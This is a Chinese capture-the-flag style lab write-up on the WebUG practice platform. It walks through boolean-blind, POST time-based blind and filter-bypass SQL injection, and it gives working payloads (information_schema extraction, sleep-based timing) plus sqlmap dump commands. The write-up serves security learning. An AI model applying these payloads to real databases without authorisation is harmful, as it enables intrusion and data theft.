webug笔记——注入

时间:2024-05-23 22:55:43

一、布尔注入

id=1‘’or 1=1–+
这里存在注入点
webug笔记——注入
id=1%27order%20by%203–+
利用order by判断字段
Order by 3的时候页面发生变化。
webug笔记——注入
所以应该是有两个可以显示的地方。

利用left()函数判断数据库名,先判断数据库名长度

webug笔记——注入
大于5的时候页面发生变化,说明数据库名长度应该是5.
id=1’ and left(database(),1)>‘w’–+
webug笔记——注入
猜测出数据库名的第一个字符是w
webug笔记——注入
前两个是we,这样逐步猜测出数据库名是webug.

查看当前数据库表

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1,1))>100–+
webug笔记——注入
大于100的时候页面发生变化,第一个字符是d
这样就爆出了webug库中的第一个表的第一个字符。判断第二个字符用就是修改为substr(***,2,1)
webug笔记——注入
前两个字符就是da 这样逐步爆出表名
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
Flag不在flag表里面,要去爆env_list表
id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 0,1),1,1))>105%23
webug笔记——注入
这样爆出所有的列名
env_list表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
看看第一关的flag是不是在envFlag里面。
id=1’ and substr((select envFlag from env_list where id=1 limit 0,1),1,16)=‘dfafdasfafdsadfa’%23
webug笔记——注入
页面无变化,说明正确,第一关的flag确实在里面。
那么通过 修改id=2 可以逐步爆出第二关的密码
webug笔记——注入
然后通过修改substr(***,2,1)得到flag的第二个字符是d
后得出flag:fdsafsdfa

二、post注入

post注入是通过对输入框进行传参,可以被带入数据库进行的查询

注入的两个条件:
1.用户可以控制传参,
2.用户输入的语句被带入数据库进行查询
webug笔记——注入
通过对输入框进行元素审查,发现请求类型是post类型
在输入框输入1’报错,1’#返回正常
webug笔记——注入
说明页面可能存在注入点。
先随便提交一个东西,然后f12
webug笔记——注入
在网络里面找到post,然后点开,在参数里面可以看到这个输入点是keyWordName。
webug笔记——注入
输入1’页面报错,输入1’#页面正常。
webug笔记——注入
webug笔记——注入
webug笔记——注入
webug笔记——注入
说明列数为2.通过对注入类型不断尝试,发现可以使用延时注入进行**。

  • 先进行数据库名长度的**:

keyWordName=1’ or if(length(database())>4,sleep(3),1)#有延时,通过修改大于号后面的数字判断出数据库名的长度为5

  • 判断数据库名称:

keyWordName=1’ or if(ascii(substr(database(),1,1))>97,sleep(3),1)#,有延时
逐步判断出数据库名的第一个字符为w
webug笔记——注入
通过修改箭头部分来判断所有的数据库名。

  • 然后判断数据库里面表的个数:

keyWordName=1’ or if((select count(table_name)from information_schema.tables where table_schema=database())>6,sleep(3),1)#有延时,而>7没有延时。
判断出有7个表。

  • 判断每个表名的长度:

keyWordName=1’ or if(length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))>2,
sleep(5),1) #
判断出第一个表名的长度是9个字符
webug笔记——注入
修改substr的第二个参数判断出第二个表长度为8
webug笔记——注入
那么第6个表长度为4可能就是flag
webug笔记——注入
第6个表的第一个字符是u,可能是user,不是flag表。

手工注入不下去了。。

  • 用sqlmap跑,先用burpsuite拦一下包

webug笔记——注入

  • 把这个保存到txt,这里我放到了根目录下

webug笔记——注入

  • Sqlmap -r ”~/a.txt” --dbs是爆出所有的数据库

webug笔记——注入

  • Sqlmap -r “~/a.txt”-D webug --tables 爆出webug下所有的表

webug笔记——注入

  • 接下来就要爆表中的数据了

sqlmap -r “a.txt” -D webug -T flag --columns
webug笔记——注入

  • 获取flag列中的内容:

sqlmap -r a.txt -D webug -T flag -C “flag” --dump --batch
–batch就是自动默认之后你要选的选项。
webug笔记——注入
看到结果应该是爆错了表,这应该是第一关的flag.那就继续爆别的表 env_list
webug笔记——注入
好像爆出了所有的flag…
webug笔记——注入

三、过滤注入

对select的大小写都屏蔽了。

webug笔记——注入
但发现单独把select写出来才会被屏蔽,放在payload里面也并没有被屏蔽掉,此题过滤相当于无,注入方法和布尔注入一致。。